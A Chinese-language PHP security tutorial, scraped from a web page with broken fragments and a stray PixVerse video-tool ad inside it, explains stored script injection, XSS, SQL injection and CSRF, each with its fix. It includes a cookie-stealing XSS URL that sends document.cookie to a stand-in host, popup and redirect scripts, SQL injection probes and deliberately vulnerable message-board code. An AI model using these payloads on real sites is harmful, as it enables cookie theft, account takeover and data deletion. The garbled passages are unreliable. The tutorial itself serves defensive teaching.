PHP漏洞全解(详细介绍)_PHP教程

";<BR>        system("ls -al ".$dir);<BR>        echo "

客户端脚本植入的攻击步骤
1、攻击者注册普通用户后登陆网站
2、打开留言页面，插入攻击的js代码
3、其他用户登录网站（包括管理员），浏览此留言的内容
4、隐藏在留言内容中的js代码被执行，攻击成功

实例
数据库
CREATE TABLE `postmessage` (
  `id` int(11) NOT NULL auto_increment,
  `subject` varchar(60) NOT NULL default ”,
  `name` varchar(40) NOT NULL default ”,
  `email` varchar(25) NOT NULL default ”,
  `question` mediumtext NOT NULL,
  `postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 显示留言

提交下图的留言

浏览此留言的时候会执行js脚本
插入 <script>while(1){windows.open();}</script> 无限弹框
插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
或者使用其他自行构造的js代码进行攻击

防范的方法
一般使用htmlspecialchars函数来将特殊字符转换成HTML编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要编码的字符串 
quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默认值ENT_COMPAT，表示只转换双引号不转换单引号。ENT_QUOTES，表示双引号和单引号都要转换。ENT_NOQUOTES，表示双引号和单引号都不转换 
charset 可选,表示使用的字符集
函数会将下列特殊字符转换成html编码:
& —-> &
" —-> "
‘ —-> ‘
> —-> >
把show.php的第98行改成

然后再查看插入js的漏洞页面

XSS跨站脚本攻击

XSS(Cross Site Scripting)，意为跨网站脚本攻击，为了和样式表css(Cascading Style Sheet)区别，缩写为XSS
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据，一旦攻击者得到这些数据，那么他就可以伪装成此用户来登录网站，获得此用户的权限。
跨站脚本攻击的一般步骤:
1、攻击者以某种方式发送xss的http链接给目标用户
2、目标用户登录此网站，在登陆期间打开了攻击者发送的xss链接
3、网站执行了此xss攻击脚本
4、目标用户页面跳转到攻击者的网站，攻击者取得了目标用户的信息
5、攻击者使用目标用户的信息登录网站，完成攻击

当有存在跨站漏洞的程序出现的时候，攻击者可以构造类似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ，诱骗用户点击后，可以获取用户cookies值
防范方法:
利用htmlspecialchars函数将特殊字符转换成HTML编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
        string 是要编码的字符串 
        quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默认值ENT_COMPAT，表示只转换双引号不转换单引号。ENT_QUOTES，表示双引号和单引号都要转换。ENT_NOQUOTES，表示双引号和单引号都不转换 
        charset 可选,表示使用的字符集
函数会将下列特殊字符转换成html编码:
& —-> &
" —-> "
‘ —-> ‘
> —-> >

$_SERVER["PHP_SELF"]变量的跨站
在某个表单中，如果提交参数给自己，会用这样的语句

这样直接避免了$_SERVER["PHP_SELF"]变量被跨站

 

SQL注入攻击

 

SQL注入攻击(SQL Injection)，是攻击者在表单中提交精心构造的sql语句，改动原来的sql语句，如果web程序没有对提交的数据经过检查，那么就会造成sql注入攻击。

　　SQL注入攻击的一般步骤:

　　1、攻击者访问有SQL注入漏洞的站点，寻找注入点

　　2、攻击者构造注入语句，注入语句和程序中的SQL语句结合生成新的sql语句

　　3、新的sql语句被提交到数据库中执行 处理

　　4、数据库执行了新的SQL语句，引发SQL注入攻击

　实例

　　数据库

　　CREATE TABLE `postmessage` (

　　`id` int(11) NOT NULL auto_increment,

　　`subject` varchar(60) NOT NULL default ”,

　　`name` varchar(40) NOT NULL default ”,

　　`email` varchar(25) NOT NULL default ”,

　　`question` mediumtext NOT NULL,

　　`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,

　　PRIMARY KEY  (`id`)

　　) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT='运用者的留言' AUTO_INCREMENT=69 ;

　　grant all privileges on ch3.* to ‘sectop'@localhost identified by '123456′;

　　//add.php 插入留言

　　//list.php 留言列表

　　//show.php 显示留言

　　页面 http://www.netsos.com.cn/show.php?id=71 可能存在注入点，我们来测试

　　http://www.netsos.com.cn/show.php?id=71 and 1=1

　　返回页面

 

　

提交 

　　一次查询到记录，一次没有，我们来看看源码

　　//show.php 12-15行

　　// 执行mysql查询语句

　　$query = "select * from postmessage where id = ".$_GET["id"];

　　$result = mysql_query($query)

　　or die("执行ySQL查询语句失败：" . mysql_error());

PixVerse

PixVerse是一款强大的AI视频生成工具，可以轻松地将多种输入转化为令人惊叹的视频。

下载

　　参数id传递进来后，和前面的字符串结合的sql语句放入数据库执行 查询

　　提交 and 1=1，语句变成select * from postmessage where id = 71 and 1=1 这语句前值后值都为真，and以后也为真，返回查询到的数据

　　提交 and 1=2，语句变成select * from postmessage where id = 71 and 1=2 这语句前值为真，后值为假，and以后为假，查询不到任何数据

　　正常的SQL查询，经过我们构造的语句之后，形成了SQL注入攻击。通过这个注入点，我们还可以进一步拿到权限，比如说运用 union读取管理密码，读取数据库信息，或者用mysql的load_file，into outfile等函数进一步渗透。

防范方法

　　整型参数:

　　运用 intval函数将数据转换成整数

　　函数原型

　　int intval(mixed var, int base)

　　        var是要转换成整形的变量

　　        base，可选，是基础数，默认是10

　　浮点型参数:

　　运用 floatval或doubleval函数分别转换单精度和双精度浮点型参数

　　函数原型

　　int floatval(mixed var)

　　        var是要转换的变量

　    int doubleval(mixed var)

　　        var是要转换的变量

　　字符型参数:

　　运用 addslashes函数来将单引号“'”转换成“'”，双引号“"”转换成“"”，反斜杠“”转换成“\”，NULL字符加上反斜杠“”

　　函数原型

　　string addslashes (string str)

　　        str是要检查的字符串

　　那么刚才出现的代码漏洞，我们可以这样修补

　　// 执行mysql查询语句

　　$query = "select * from postmessage where id = ".intval($_GET["id"]);

　　$result = mysql_query($query)

or die("执行ySQL查询语句失败：" . mysql_error());

 

　　如果是字符型，先判断magic_quotes_gpc能无法 为On,当不为On的时候运用 addslashes转义特殊字符

　　if(get_magic_quotes_gpc())

　　{

　　$var = $_GET["var"];

　　}

　　else

　　{

　　$var = addslashes($_GET["var"]);

　　}

　　再次测试，漏洞已经修补

 

垮网站伪造请求

 

CSRF(Cross Site Request Forgeries)，意为跨网站请求伪造，也有写为XSRF。攻击者伪造目标用户的HTTP请求，然后此请求发送到有CSRF漏洞的网站，网站执行此请求后，引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接，让目标用户在不注意的情况下单击这个链接，由于是用户自己点击的，而他又是合法用户拥有合法权限，所以目标用户能够在网站内执行特定的HTTP链接，从而达到攻击者的目的。
例如:某个购物网站购买商品时，采用http://www.shop.com/buy.php?item=watch&num=1，item参数确定要购买什么物品，num参数确定要购买数量，如果攻击者以隐藏的方式发送给目标用户链接
，那么如果目标用户不小心访问以后，购买的数量就成了1000个

实例
随缘网络PHP留言板V1.0

任意删除留言
//delbook.php 此页面用于删除留言
include_once("dlyz.php");    //dlyz.php用户验证权限，当权限是admin的时候方可删除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //传递要删除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language="javascript">"; <BR>echo "alert(‘删除成功！');";<BR>echo " location='book.php';"; <BR>echo "</script>";
?>
当我们具有admin权限，提交http://localhost/manage/delbook.php?id=2 时，就会删除id为2的留言
利用方法:
我们使用普通用户留言（源代码方式），内容为

插入4张图片链接分别删除4个id留言，然后我们返回首页浏览看，没有什么变化。。图片显示不了 
现在我们再用管理员账号登陆后，来刷新首页，会发现留言就剩一条，其他在图片链接中指定的ID号的留言，全部都被删除。
攻击者在留言中插入隐藏的图片链接，此链接具有删除留言的作用，而攻击者自己访问这些图片链接的时候，是不具有权限的，所以看不到任何效果，但是当管理员登陆后，查看此留言，就会执行隐藏的链接，而他的权限又是足够大的，从而这些留言就被删除了
修改管理员密码
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."
设计制作：厦门随缘网络科技";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language="javascript">"; <BR>echo "alert(‘修改成功！');";<BR>echo " location='pass.php';"; <BR>echo "</script>";
}
这个文件用于修改管理密码和网站设置的一些信息，我们可以直接构造如下表单:

防范方法
防范CSRF要比防范其他攻击更加困难，因为CSRF的HTTP请求虽然是攻击者伪造的，但是却是由目标用户发出的，一般常见的防范方法有下面几种:
1、检查网页的来源
2、检查内置的隐藏变量
3、使用POST，不要使用GET
检查网页来源
在//pass.php头部加入以下红色字体代码，验证数据提交

if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
        $serverhost = $_SERVER["SERVER_NAME"];
        $strurl   = str_replace("http://","",$_SERVER["HTTP_REFERER"]);  
        $strdomain = explode("/",$strurl);           
        $sourcehost    = $strdomain[0];              
        if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
        {
                unset($_POST);
                echo "<script language="javascript">"; <BR> echo "alert(‘数据来源异常!');";<BR> &<BR>nbsp; echo " location='index.php';"; <BR> echo "</script>";
        }
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."
设计制作：厦门随缘网络科技";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language="javascript">"; <BR>echo "alert(‘修改成功！');";<BR>echo " location='pass.php';"; <BR>echo "</script>";
}
检查内置隐藏变量
我们在表单中内置一个隐藏变量和一个session变量，然后检查这个隐藏变量和session变量是否相等，以此来判断是否同一个网页所调用
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
         // 生成唯一的ID，并使用MD5来加密
         $post_id = md5(uniqid(rand(), true));
         // 创建Session变量
         $_SESSION["post_id"] = $post_id;
}
// 检查是否相等
if (isset($_SESSION["post_id"]))
{
         // 不相等
         if ($_SESSION["post_id"] != $_POST["post_id"])
         {
                  // 清除POST变量
                  unset($_POST);
                  echo "<script language="javascript">"; <BR> echo "alert(‘数据来源异常!');";<BR> echo " location='index.php';"; <BR> echo "</script>";
         }
}

……

   
">

  

} 
mysql_close($conn);
?>